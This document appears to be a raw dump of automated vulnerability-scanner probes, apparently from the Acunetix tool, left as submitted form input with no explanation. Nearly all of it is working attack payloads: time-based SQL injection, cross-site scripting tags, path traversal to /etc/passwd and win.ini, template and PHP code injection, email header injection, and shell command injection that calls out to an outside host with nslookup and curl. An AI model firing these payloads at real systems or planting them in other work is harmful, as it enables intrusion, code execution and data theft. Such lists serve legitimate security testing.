1

1

1

${9999477+9999680}

3IowHOeW

1<esi:include src="http://bxss.me/rpb.png"/>

1

1 bcc:[email protected]

response.write(9299489*9474786)

1&n904699=v925262

1

[email protected]> bcc:[email protected]

1

'+response.write(9299489*9474786)+'

)

1

'.gethostbyname(lc('hitui'.'tgpudled8b3ec.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(72).chr(121).chr(68).'

"+response.write(9299489*9474786)+"

!(()&&!|*|*|

^(#$!@#$)(()))******

HttP://bxss.me/t/xss.html?%00

".gethostbyname(lc("hituw"."mftxlnzobf581.bxss.me."))."A".chr(67).chr(hex("58")).chr(107).chr(82).chr(107).chr(79)."

bxss.me/t/xss.html?%00

../../../../../../../../../../../../../../etc/passwd

"+"A".concat(70-3).concat(22*4).concat(111).concat(69).concat(108).concat(75)+(require"socket" Socket.gethostbyname("hitdb"+"flbxiwjnc3481.bxss.me.")[3].to_s)+"

xfs.bxss.me

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

../../../../../../../../../../../../../../windows/win.ini

'+'A'.concat(70-3).concat(22*4).concat(120).concat(90).concat(112).concat(88)+(require'socket' Socket.gethostbyname('hitpv'+'joprdpsu45265.bxss.me.')[3].to_s)+'

addcomment

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

'"

';print(md5(31337));$a='

<!--

file:///etc/passwd

addcomment/.

";print(md5(31337));$a="

echo kzhbce$()\ kuuiia\nz^xyu||a #' &echo kzhbce$()\ kuuiia\nz^xyu||a #|" &echo kzhbce$()\ kuuiia\nz^xyu||a #

Http://bxss.me/t/fit.txt

1

1'"()&%<zzz><ScRiPt >1e1S(9328)</ScRiPt>

${@print(md5(31337))}

http://bxss.me/t/fit.txt?.jpg

&echo yccvuv$()\ jlvjyx\nz^xyu||a #' &echo yccvuv$()\ jlvjyx\nz^xyu||a #|" &echo yccvuv$()\ jlvjyx\nz^xyu||a #

../1

'"()&%<zzz><ScRiPt >1e1S(9195)</ScRiPt>

${@print(md5(31337))}\

1

/etc/shells

|echo dwkzdm$()\ ksqkms\nz^xyu||a #' |echo dwkzdm$()\ ksqkms\nz^xyu||a #|" |echo dwkzdm$()\ ksqkms\nz^xyu||a #

'.print(md5(31337)).'

19188573

c:/windows/win.ini

(nslookup -q=cname hitcmwzsgymcz83966.bxss.me||curl hitcmwzsgymcz83966.bxss.me))

'"()

bxss.me

bfg5251＜s1﹥s2ʺs3ʹhjl5251

$(nslookup -q=cname hittcvinrefwe298f5.bxss.me||curl hittcvinrefwe298f5.bxss.me)

&nslookup -q=cname hitedggajtdff1fcfc.bxss.me&'\"`0&nslookup -q=cname hitedggajtdff1fcfc.bxss.me&`'

1'&&sleep(27*1000)*fjsgmk&&'

bfgx6389%C0%BEz1%C0%BCz2a%90bcxhjl6389

&(nslookup -q=cname hitzeyxydypmj9518b.bxss.me||curl hitzeyxydypmj9518b.bxss.me)&'\"`0&(nslookup -q=cname hitzeyxydypmj9518b.bxss.me||curl hitzeyxydypmj9518b.bxss.me)&`'

1"&&sleep(27*1000)*xhueaz&&"

1'||sleep(27*1000)*frvvwp||'

|(nslookup -q=cname hitrdkdqkrdwq8a2ad.bxss.me||curl hitrdkdqkrdwq8a2ad.bxss.me)

1"||sleep(27*1000)*wpukkk||"

<%={{={@{#{${dfb}}%>

`(nslookup -q=cname hitablbcqcerhb6db6.bxss.me||curl hitablbcqcerhb6db6.bxss.me)`

1

;(nslookup -q=cname hitmjmfacyxmja8cc9.bxss.me||curl hitmjmfacyxmja8cc9.bxss.me)|(nslookup -q=cname hitmjmfacyxmja8cc9.bxss.me||curl hitmjmfacyxmja8cc9.bxss.me)&(nslookup -q=cname hitmjmfacyxmja8cc9.bxss.me||curl hitmjmfacyxmja8cc9.bxss.me)

<th:t="${dfb}#foreach

1

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>

1

1

dfb{{98991*97996}}xca

1

-1 OR 2+409-409-1=0+0+0+1 --

dfb[[${98991*97996}]]xca

-1 OR 2+704-704-1=0+0+0+1

-1' OR 2+403-403-1=0+0+0+1 --

dfb__${98991*97996}__::.x

-1' OR 2+128-128-1=0+0+0+1 or '2QvsGfNA'='

-1" OR 2+60-60-1=0+0+0+1 --

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

if(now()=sysdate(),sleep(15),0)

1<ScRiPt >1e1S(9102)</ScRiPt>

1<WPPDWZ>U8LVO[!+!]</WPPDWZ>

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

1<script>1e1S(9521)</script>

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1<ScR<ScRiPt>IpT>1e1S(9163)</sCr<ScRiPt>IpT>

1<ScRiPt >1e1S(9492)</ScRiPt>

-1; waitfor delay '0:0:15' --

1<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9791></ScRiPt>

1<isindex type=image src=1 onerror=1e1S(9228)>

1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9505'>

-1); waitfor delay '0:0:15' --

1<body onload=1e1S(9505)>

1<img src=//xss.bxss.me/t/dot.gif onload=1e1S(9273)>

1 waitfor delay '0:0:15' --

1<img src=xyz OnErRor=1e1S(9620)>

ti3MryYd'; waitfor delay '0:0:15' --

1<img/src=">" onerror=alert(9869)>

%31%3C%53%63%52%69%50%74%20%3E%31%65%31%53%289424%29%3C%2F%73%43%72%69%70%54%3E

-5 OR 821=(SELECT 821 FROM PG_SLEEP(15))--

1\u003CScRiPt\1e1S(9163)\u003C/sCripT\u003E

1&lt;ScRiPt&gt;1e1S(9829)&lt;/sCripT&gt;

%F6<img zzz onmouseover=1e1S(94911) //%F6>

-5) OR 363=(SELECT 363 FROM PG_SLEEP(15))--

1<input autofocus onfocus=1e1S(9655)>

<a HrEF=http://xss.bxss.me></a>

-1)) OR 73=(SELECT 73 FROM PG_SLEEP(15))--

<a HrEF=jaVaScRiPT:>

1}body{zzz:Expre/**/SSion(1e1S(9676))}

1ST3nE <ScRiPt >1e1S(9437)</ScRiPt>

LkUQFAFZ' OR 822=(SELECT 822 FROM PG_SLEEP(15))--

1<WCTUXH>8YWCP[!+!]</WCTUXH>

1<ifRAme sRc=9305.com></IfRamE>

Jot4So8X') OR 973=(SELECT 973 FROM PG_SLEEP(15))--

1<aGEIauC x=9464>

1<img sRc='http://attacker-9330/log.php?

MKGPk83Z')) OR 117=(SELECT 117 FROM PG_SLEEP(15))--

1<aDhbkMh<

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

@@gldIm